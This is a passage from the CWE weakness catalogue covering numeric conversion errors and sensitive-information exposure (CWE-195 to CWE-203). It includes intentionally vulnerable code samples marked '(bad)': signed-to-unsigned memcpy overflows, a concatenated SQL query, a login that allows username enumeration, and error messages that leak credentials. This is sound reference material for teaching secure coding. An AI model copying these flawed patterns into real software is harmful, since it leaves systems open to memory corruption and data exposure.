    amount = accessmainframe();  
    ...  
    return amount;  
}
```

If the return value of accessmainframe() is -1, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

Example 3:

The following code is intended to read an incoming packet from a socket and extract one or more headers.

Example Language: C

(bad)

```
DataPacket *packet;  
int numHeaders;  
PacketHeader *headers;  
sock=AcceptSocketConnection();
```

```

ReadPacket(packet, sock);
numHeaders = packet->headers;
if (numHeaders > 100) {
    ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader));
ParsePacketHeaders(packet, headers);

```

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

Example 4:

This example processes user input comprised of a series of variable-length structures. The first 2 bytes of input dictate the size of the structure to be processed.

Example Language: C

(bad)

```

char* processNext(char* strm) {
    char buf[512];
    short len = *(short*) strm;
    strm += sizeof(len);
    if (len <= 512) {
        memcpy(buf, strm, len);
        process(buf);
        return strm + len;
    }
    else {
        return -1;
    }
}

```

The programmer has set an upper bound on the structure size: if it is larger than 512, the input will not be processed. The problem is that len is a signed short, so the check against the maximum structure length is done with signed values, but len is converted to an unsigned integer for the call to memcpy() and the negative bit will be extended to result in a huge value for the unsigned integer. If len is negative, then it will appear that the structure has an appropriate size (the if branch will be taken), but the amount of memory copied by memcpy() will be quite large, and the attacker will be able to overflow the stack with data in strm.

Example 5:

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

Example Language: C

(bad)

```

int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
     * else, return -1 to indicate an error
     */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}

```

```
}
```

If `returnChunkSize()` happens to encounter an error it will return -1. Notice that the return value is not checked before the `memcpy` operation (CWE-252), so -1 can be passed as the size argument to `memcpy()` (CWE-805). Because `memcpy()` assumes that the value is unsigned, it will be interpreted as `MAXINT-1` (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Example 6:

This example shows a typical attempt to parse a string with an error resulting from a difference in assumptions between the caller to a function and the function's action.

Example Language: C

(bad)

```
int proc_msg(char *s, int msg_len)
{
    // Note space at the end of the string - assume all strings have preamble with space
    int pre_len = sizeof("preamble: ");
    char buff[pre_len - msg_len];
    ... Do processing here if we get this far
}
char *s = "preamble: message\n";
char *sl = strchr(s, ':'); // Number of characters up to ':' (not including space)
int jnklen = sl == NULL ? 0 : sl - s; // If undefined pointer, use zero length
int ret_val = proc_msg("s", jnklen); // Violate assumption of preamble length, end up with negative value, blow out stack
```

The buffer length ends up being -1, resulting in a blown out stack. The space character after the colon is included in the function calculation, but not in the caller's calculation. This, unfortunately, is not usually so obvious but exists in an obtuse series of calculations.

Observed Examples

CWE-196: Unsigned to Signed Conversion Error

Weakness ID : 196

Status: Draft

Structure : Simple

Abstraction : Variant

Description

The software uses an unsigned primitive and performs a cast to a signed primitive, which can produce an unexpected value if the value of the unsigned primitive can not be represented using a signed primitive.

Extended Description

Although less frequent an issue than signed-to-unsigned conversion, unsigned-to-signed conversion can be the perfect precursor to dangerous buffer underwrite conditions that allow attackers to move down the stack where they otherwise might not have access in a normal buffer overflow condition. Buffer underwrites occur frequently when large unsigned values are cast to signed values, and then used as indexes into a buffer or for pointer arithmetic.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|-----------|------|-----|--|------|
| ChildOf | B | 681 | Incorrect Conversion between Numeric Types | 1361 |
| CanAlsoBe | B | 120 | Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') | 285 |

| Nature | Type | ID | Name | Page |
|---------|------|-----|--|------|
| ChildOf | B | 681 | Incorrect Conversion between Numeric Types | 1361 |

Applicable Platforms

Language : C (Prevalence = Undetermined)

Language : C++ (Prevalence = Undetermined)

Likelihood Of Exploit

Medium

Common Consequences

| Scope | Impact | Likelihood |
|--------------|--|------------|
| Availability | DoS: Crash, Exit, or Restart | |
| | <i>Incorrect sign conversions generally lead to undefined behavior, and therefore crashes.</i> | |

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Integrity | Modify Memory | |
| | <i>If a poor cast lead to a buffer overflow or similar condition, data integrity may be affected.</i> | |
| Integrity | Execute Unauthorized Code or Commands | |
| Confidentiality | Bypass Protection Mechanism | |
| Availability | | |
| Access Control | <i>Improper signed-to-unsigned conversions without proper checking can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.</i> | |

Potential Mitigations

Phase: Requirements

Choose a language which is not subject to these casting flaws.

Phase: Architecture and Design

Design object accessor functions to implicitly check values for valid sizes. Ensure that all functions which will be used as a size are checked previous to use as a size. If the language permits, throw exceptions rather than using in-band errors.

Phase: Implementation

Error check the return values of all functions. Be aware of implicit casts made, and use unsigned variables for sizes if at all possible.

CWE-197: Numeric Truncation Error

| | |
|---------------------------|----------------------------|
| Weakness ID : 197 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

Truncation errors occur when a primitive is cast to a primitive of a smaller size and data is lost in the conversion.

Extended Description

When a primitive is cast to a smaller primitive, the high order bits of the large value are lost in the conversion, potentially resulting in an unexpected value that is not equal to the original value. This value may be required as an index into a buffer, a loop iterator, or simply necessary state data. In any case, the value cannot be trusted and the system will be in an undefined state. While this method may be employed viably to isolate the low bits of a value, this usage is rare, and truncation usually implies that an implementation error has occurred.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| MemberOf |  | 189 | Numeric Errors | 2028 |

Applicable Platforms

Language : C (Prevalence = Undetermined)

Language : C++ (Prevalence = Undetermined)

Language : Java (Prevalence = Undetermined)

Language : C# (Prevalence = Undetermined)

Likelihood Of Exploit

Low

Common Consequences

| Scope | Impact | Likelihood |
|-----------|--|------------|
| Integrity | Modify Memory <i>The true value of the data is lost and corrupted data is used.</i> | |

Potential Mitigations

Phase: Implementation

Ensure that no casts, implicit or explicit, take place that move from a larger size primitive or a smaller size primitive.

Demonstrative Examples

Example 1:

This example, while not exploitable, shows the possible mangling of values associated with truncation errors:

Example Language: C

(bad)

```
int intPrimitive;
short shortPrimitive;
intPrimitive = (int)(~((int)0) ^ (1 << (sizeof(int)*8-1)));
shortPrimitive = intPrimitive;
printf("Int MAXINT: %d\nShort MAXINT: %d\n", intPrimitive, shortPrimitive);
```

The above code, when compiled and run on certain systems, returns the following output:

Example Language:

(result)

```
Int MAXINT: 2147483647
Short MAXINT: -1
```

This problem may be exploitable when the truncated value is used as an array index, which can happen implicitly when 64-bit values are used as indexes, as they are truncated to 32 bits.

Example 2:

In the following Java example, the method `updateSalesForProduct` is part of a business application class that updates the sales information for a particular product. The method receives as arguments the product ID and the integer amount sold. The product ID is used to retrieve the total product count from an inventory object which returns the count as an integer. Before calling the method of the sales object to update the sales count the integer values are converted to The primitive type `short` since the method requires short type for the method arguments.

Example Language: Java

(bad)

```
...
// update sales database for number of product sold with product ID
public void updateSalesForProduct(String productID, int amountSold) {
    // get the total number of products in inventory database
    int productCount = inventory.getProductCount(productID);
    // convert integer values to short, the method for the
    // sales object requires the parameters to be of type short
    short count = (short) productCount;
    short sold = (short) amountSold;
    // update sales database for product
    sales.updateSalesCount(productID, count, sold);
}
...
```

However, a numeric truncation error can occur if the integer values are higher than the maximum value allowed for the primitive type `short`. This can cause unexpected results or loss or corruption of data. In this case the sales database may be corrupted with incorrect data. Explicit casting from a from a larger size primitive type to a smaller size primitive type should be prevented. The following example an if statement is added to validate that the integer values less than the maximum value for the primitive type `short` before the explicit cast and the call to the sales method.

Example Language: Java

(good)

```
...
// update sales database for number of product sold with product ID
```

```

public void updateSalesForProduct(String productID, int amountSold) {
    // get the total number of products in inventory database
    int productCount = inventory.getProductCount(productID);
    // make sure that integer numbers are not greater than
    // maximum value for type short before converting
    if ((productCount < Short.MAX_VALUE) && (amountSold < Short.MAX_VALUE)) {
        // convert integer values to short, the method for the
        // sales object requires the parameters to be of type short
        short count = (short) productCount;
        short sold = (short) amountSold;
        // update sales database for product
        sales.updateSalesCount(productID, count, sold);
    }
    else {
        // throw exception or perform other processing
        ...
    }
}
...

```

CWE-198: Use of Incorrect Byte Ordering

Weakness ID : 198

Status: Draft

Structure : Simple

Abstraction : Base

Description

The software receives input from an upstream component, but it does not account for byte ordering (e.g. big-endian and little-endian) when processing the input, causing an incorrect number or value to be used.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--------------------------------|------|
| ChildOf |  | 188 | Reliance on Data/Memory Layout | 441 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|-----|----------------|------|
| MemberOf |  | 189 | Numeric Errors | 2028 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------|------------------|------------|
| Integrity | Unexpected State | |

Detection Methods

Black Box

Because byte ordering bugs are usually very noticeable even with normal inputs, this bug is more likely to occur in rarely triggered error conditions, making them difficult to detect using black box methods.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Weakness ID : 200

Status: Draft

Structure : Simple

Abstraction : Class

Description

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Extended Description

There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker. Some kinds of sensitive information include:

- private, personal information, such as personal messages, financial data, health records, geographic location, or contact details
- system status and environment, such as the operating system and installed packages
- business secrets and intellectual property
- network status and configuration
- the product's own code or internal state
- metadata, e.g. logging of connections or message headers
- indirect information, such as a discrepancy between two internal operations that can be observed by an outsider

Information might be sensitive to different parties, each of which may have their own expectations for whether the information should be protected. These parties include:

- the product's own users
- people or organizations whose information is created or used by the product, even if they are not direct product users
- the product's administrators, including the admins of the system(s) and/or networks on which the product operates
- the developer

Information exposures can occur in different ways:

- the code explicitly inserts sensitive information into resources or messages that are intentionally made accessible to unauthorized actors, but should not contain the information - i.e., the information should have been "scrubbed" or "sanitized"
- a different weakness or mistake indirectly inserts the sensitive information into resources, such as a web script error revealing the full system path of the program.
- the code manages resources that intentionally contain sensitive information, but the resources are unintentionally made accessible to unauthorized actors. In this case, the information exposure is resultant - i.e., a different weakness enabled the access to the information in the first place.

It is common practice to describe any loss of confidentiality as an "information exposure," but this can lead to overuse of CWE-200 in CWE mapping. From the CWE perspective, loss of confidentiality is a technical impact that can arise from dozens of different weaknesses, such as insecure file permissions or out-of-bounds read. CWE-200 and its lower-level descendants are intended to cover the mistakes that occur in behaviors that explicitly manage, store, transfer, or cleanse sensitive information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| ParentOf | B | 209 | Generation of Error Message Containing Sensitive Information | 499 |
| ParentOf | B | 532 | Insertion of Sensitive Information into Log File | 1136 |

Weakness Ordinalities

Primary : Developers may insert sensitive information that they do not believe, or they might forget to remove the sensitive information after it has been processed

Resultant : Separate mistakes or weaknesses could inadvertently make the sensitive information available to an attacker, such as in a detailed error message that can be read by an unauthorized party

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Technology : Mobile (*Prevalence = Undetermined*)

Alternate Terms

Information Disclosure : This term is frequently used in vulnerability advisories to describe a consequence or technical impact, for any vulnerability that has a loss of confidentiality. Often, CWE-200 can be misused to represent the loss of confidentiality, even when the mistake - i.e., the weakness - is not directly related to the mishandling of the information itself, such as an out-of-bounds read that accesses sensitive memory contents; here, the out-of-bounds read is the primary weakness, not the disclosure of the memory. In addition, this phrase is also used frequently in policies and legal documents, but it does not refer to any disclosure of security-relevant information.

Information Leak : This is a frequently used term, however the "leak" term has multiple uses within security. In some cases it deals with the accidental exposure of information from a different weakness, but in other cases (such as "memory leak"), this deals with improper tracking of resources, which can lead to exhaustion. As a result, CWE is actively avoiding usage of the "leak" term.

According to SOAR, the following detection techniques may be useful: Highly cost effective: Context-configured Source Code Weakness Analyzer Cost effective for partial coverage: Source code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Demonstrative Examples

Example 1:

The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.

Example Language: Perl

(bad)

```
my $username=param('username');
my $password=param('password');
if (IsValidUsername($username) == 1)
{
    if (IsValidPassword($username, $password) == 1)
    {
        print "Login Successful";
    }
    else
    {

```

```

        print "Login Failed - incorrect password";
    }
}
else
{
    print "Login Failed - unknown username";
}

```

In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.

While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:

Example Language:

(result)

```
"Login Failed - incorrect username or password"
```

Example 2:

This code tries to open a database connection, and prints any exceptions that occur.

Example Language: Java

(bad)

```

try {
    openDbConnection();
}
//print exception message that includes exception message and configuration file location
catch (Exception $e) {
    echo 'Caught exception: ', $e->getMessage(), "\n";
    echo 'Check credentials in config file at: ', $Mysql_config_location, "\n";
}

```

If an exception occurs, the printed message exposes the location of the configuration file the script is using. An attacker can use this information to target the configuration file (perhaps exploiting a Path Traversal weakness). If the file can be read, the attacker could gain credentials for accessing the database. The attacker may also be able to replace the file with a malicious one, causing the application to use an arbitrary database.

Example 3:

In the example below, the method `getUserBankAccount` retrieves a bank account object from a database using the supplied username and account number to query the database. If an `SQLException` is raised when querying the database, an error message is created and output to a log file.

Example Language: Java

(bad)

```

public BankAccount getUserBankAccount(String username, String accountNumber) {
    BankAccount userAccount = null;
    String query = null;
    try {
        if (isAuthorizedUser(username)) {
            query = "SELECT * FROM accounts WHERE owner = "
                + username + " AND accountID = " + accountNumber;
            DatabaseManager dbManager = new DatabaseManager();
            Connection conn = dbManager.getConnection();
            Statement stmt = conn.createStatement();
            ResultSet queryResult = stmt.executeQuery(query);
            userAccount = (BankAccount)queryResult.getObject(accountNumber);
        }
    }
}

```

```

    }
    } catch (SQLException ex) {
        String logMessage = "Unable to retrieve account information from database,\nquery: " + query;
        Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);
    }
    return userAccount;
}

```

The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.

Example 4:

This code stores location information about the current user:

Example Language: Java

(bad)

```

locationClient = new LocationClient(this, this, this);
locationClient.connect();
currentUser.setLocation(locationClient.getLastLocation());
...
catch (Exception e) {
    AlertDialog.Builder builder = new AlertDialog.Builder(this);
    builder.setMessage("Sorry, this application has experienced an error.");
    AlertDialog alert = builder.create();
    alert.show();
    Log.e("ExampleActivity", "Caught exception: " + e + " While on User:" + User.toString());
}

```

When the application encounters an exception it will write the user object to the log. Because the user object contains location information, the user's location is also written to the log.

Example 5:

The following is an actual MySQL error statement:

Example Language: SQL

(result)

```

Warning: mysql_pconnect(): Access denied for user: 'root@localhost' (Using password: N1nj4) in /usr/local/www/wi-data/
includes/database.inc on line 4

```

The error clearly exposes the database credentials.

Example 6:

This code displays some information on a web page.

Example Language: JSP

(bad)

```

Social Security Number: <%= ssn %></br>Credit Card Number: <%= ccn %>

```

The code displays a user's credit card and social security numbers, even though they aren't absolutely necessary.

Example 7:

The following program changes its behavior based on a debug flag.

Example Language: JSP

(bad)

```

<% if (Boolean.getBoolean("debugEnabled")) {
    %>
    User account number: <%= acctNo %>
    <%

```

```
} %>
```

The code writes sensitive debug information to the client browser if the "debugEnabled" flag is set to true .

Example 8:

This code uses location to determine the user's current US State location.

First the application must declare that it requires the ACCESS_FINE_LOCATION permission in the application's manifest.xml:

Example Language: XML

(bad)

```
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
```

During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

Example Language: Java

(bad)

```
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
deriveStateFromCoords(userCurrLocation);
```

While the application needs this information, it does not need to use the ACCESS_FINE_LOCATION permission, as the ACCESS_COARSE_LOCATION permission will be sufficient to identify which US state the user is in.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2001-1483 | Enumeration of valid usernames based on inconsistent responses https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1483 |
| CVE-2001-1528 | Account number enumeration via inconsistent responses. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1528 |
| CVE-2004-2150 | User enumeration via discrepancies in error messages. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2150 |
| CVE-2005-1205 | Telnet protocol allows servers to obtain sensitive environment information from clients. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1205 |
| CVE-2002-1725 | Script calls phpinfo(), revealing system configuration to web user https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1725 |
| CVE-2002-0515 | Product sets a different TTL when a port is being filtered than when it is not being filtered, which allows remote attackers to identify filtered ports by comparing TTLs. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0515 |
| CVE-2004-0778 | Version control system allows remote attackers to determine the existence of arbitrary files and directories via the -X command for an alternate history file, which causes different error messages to be returned. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0778 |
| CVE-2000-1117 | Virtual machine allows malicious web site operators to determine the existence of files on the client by measuring delays in the execution of the getSystemResource method. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1117 |

| Reference | Description |
|----------------------|--|
| CVE-2003-0190 | Product immediately sends an error message when a user does not exist, which allows remote attackers to determine valid usernames via a timing attack. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0190 |
| CVE-2008-2049 | POP3 server reveals a password in an error message after multiple APOP commands are sent. Might be resultant from another weakness. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2049 |
| CVE-2007-5172 | Program reveals password in error message if attacker can trigger certain database errors. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5172 |
| CVE-2008-4638 | Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4638 |
| CVE-2007-1409 | Direct request to library file in web application triggers pathname leak in error message. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1409 |
| CVE-2005-0603 | Malformed regexp syntax leads to information exposure in error message. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0603 |
| CVE-2004-2268 | Password exposed in debug information. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2268 |
| CVE-2003-1078 | FTP client with debug option enabled shows password to the screen. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1078 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|------|------|--|------|------|
| MemberOf | V | 635 | Weaknesses Originally Used by NVD from 2008 to 2016 | 635 | 2215 |

CWE-201: Insertion of Sensitive Information Into Sent Data

Weakness ID : 201

Status: Draft

Structure : Simple

Abstraction : Base

Description

The code transmits data to another actor, but a portion of the data includes sensitive information that should not be accessible to that actor.

Extended Description

Sensitive information could include data that is sensitive in and of itself (such as credentials or private messages), or otherwise useful in the further exploitation of the system (such as internal file system structure).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|-----------|---|-----|--|------|
| ChildOf |  | 200 | Exposure of Sensitive Information to an Unauthorized Actor | 474 |
| ParentOf |  | 598 | Use of GET Request Method With Sensitive Query Strings | 1225 |
| CanAlsoBe |  | 202 | Exposure of Sensitive Information Through Data Queries | 485 |
| CanAlsoBe |  | 209 | Generation of Error Message Containing Sensitive Information | 499 |
| CanFollow |  | 212 | Improper Removal of Sensitive Information Before Storage or Transfer | 509 |
| CanFollow |  | 226 | Sensitive Information in Resource Not Removed Before Reuse | 526 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|--------------|------|
| MemberOf |  | 1015 | Limit Access | 2146 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|-----|-------------------------------|------|
| MemberOf |  | 199 | Information Management Errors | 2029 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Confidentiality | Read Files or Directories Read Memory Read Application Data <i>Sensitive data may be exposed to attackers.</i> | |

Potential Mitigations

Phase: Requirements

Specify which data in the software should be regarded as sensitive. Consider which types of users should have access to which types of data.

Phase: Implementation

Ensure that any possibly sensitive data specified in the requirements is verified with designers to ensure that it is either a calculated risk or mitigated elsewhere. Any information that is not necessary to the functionality should be removed in order to lower both the overhead and the possibility of security sensitive data being sent.

Phase: System Configuration

Setup default error messages so that unexpected errors do not disclose sensitive information.

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Demonstrative Examples

Example 1:

The following is an actual MySQL error statement:

Example Language: SQL

(result)

```
Warning: mysql_pconnect(): Access denied for user: 'root@localhost' (Using password: N1nj4) in /usr/local/www/wi-data/includes/database.inc on line 4
```

The error clearly exposes the database credentials.

MemberOf Relationships

CWE-202: Exposure of Sensitive Information Through Data Queries

Weakness ID : 202

Status: Draft

Structure : Simple

Abstraction : Variant

Description

When trying to keep information confidential, an attacker can often infer some of the information by using statistics.

Extended Description

In situations where data should not be tied to individual users, but a large number of users should be able to make queries that "scrub" the identity of users, it may be possible to get information about a user -- e.g., by specifying search terms that are known to be unique to that user.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|------|--|------|
| ChildOf | | 1230 | Exposure of Sensitive Information Through Metadata | 1806 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Likelihood Of Exploit

Medium

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|--|------------|
| Confidentiality | Read Files or Directories Read Application Data <i>Sensitive information may possibly be leaked through data queries accidentally.</i> | |

Potential Mitigations

Phase: Architecture and Design

This is a complex topic. See the book Translucent Databases for a good discussion of best practices.

Demonstrative Examples

Example 1:

See the book Translucent Databases for examples.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|---|-----|---|-----|------|
| MemberOf |  | 967 | SFP Secondary Cluster: State Disclosure | 888 | 2120 |

Notes

Maintenance

The relationship between CWE-202 and CWE-612 needs to be investigated more closely, as they may be different descriptions of the same kind of problem. CWE-202 is also being considered for deprecation, as it is not clearly described and may have been misunderstood by CWE users. It could be argued that this issue is better covered by CAPEC; an attacker can utilize their data-query privileges to perform this kind of operation, and if the attacker should not be allowed to perform the operation - or if the sensitive data should not have been made accessible at all - then that is more appropriately classified as a separate CWE related to authorization (see the parent, CWE-1230).

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |

CWE-203: Observable Discrepancy

| | |
|---------------------------|----------------------------|
| Weakness ID : 203 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The product behaves differently or sends different responses under different circumstances in a way that is observable to an unauthorized actor, which exposes security-relevant information about the state of the product, such as whether a particular operation was successful or not.

Extended Description

Discrepancies can take many forms, and variations may be detectable in timing, control flow, communications such as replies or requests, or general behavior. These discrepancies can reveal information about the product's operation or internal state to an unauthorized actor. In some cases, discrepancies can be used by attackers to form a side channel.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|------|------|--|------|

| ParentOf | | 1300 | Improper Protection of Physical Side Channels | 1946 |
| ParentOf | | 1303 | Non-Transparent Sharing of Microarchitectural Resources | 1953 |

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

| Nature | Type | ID | Name | Page |
|---------|------|-----|--|------|
| ChildOf | | 200 | Exposure of Sensitive Information to an Unauthorized Actor | 474 |

Relevant to the view "Hardware Design" (CWE-1194)

| Nature | Type | ID | Name | Page |
|----------|------|------|---|------|
| ParentOf | | 1300 | Improper Protection of Physical Side Channels | 1946 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Alternate Terms

Side Channel Attack : Observable Discrepancies are at the root of side channel attacks.

Common Consequences

| Scope | Impact | Likelihood |
|-----------------------------------|---|------------|
| Confidentiality Access Control | Read Application Data Bypass Protection Mechanism <i>An attacker can gain access to sensitive information about the system, including authentication information that may allow an attacker to gain access to the system.</i> | |
| Confidentiality | Read Application Data <i>When cryptographic primitives are vulnerable to side-channel-attacks, this could be used to reveal unencrypted plaintext in the worst case.</i> | |

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

Demonstrative Examples

Example 1:

The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.

Example Language: Perl

(bad)

```
my $username=param('username');
my $password=param('password');
if (IsValidUsername($username) == 1)
{
    if (IsValidPassword($username, $password) == 1)
    {
        print "Login Successful";
    }
    else
    {
        print "Login Failed - incorrect password";
    }
}
else
{
    print "Login Failed - unknown username";
}
```

In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.

While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:

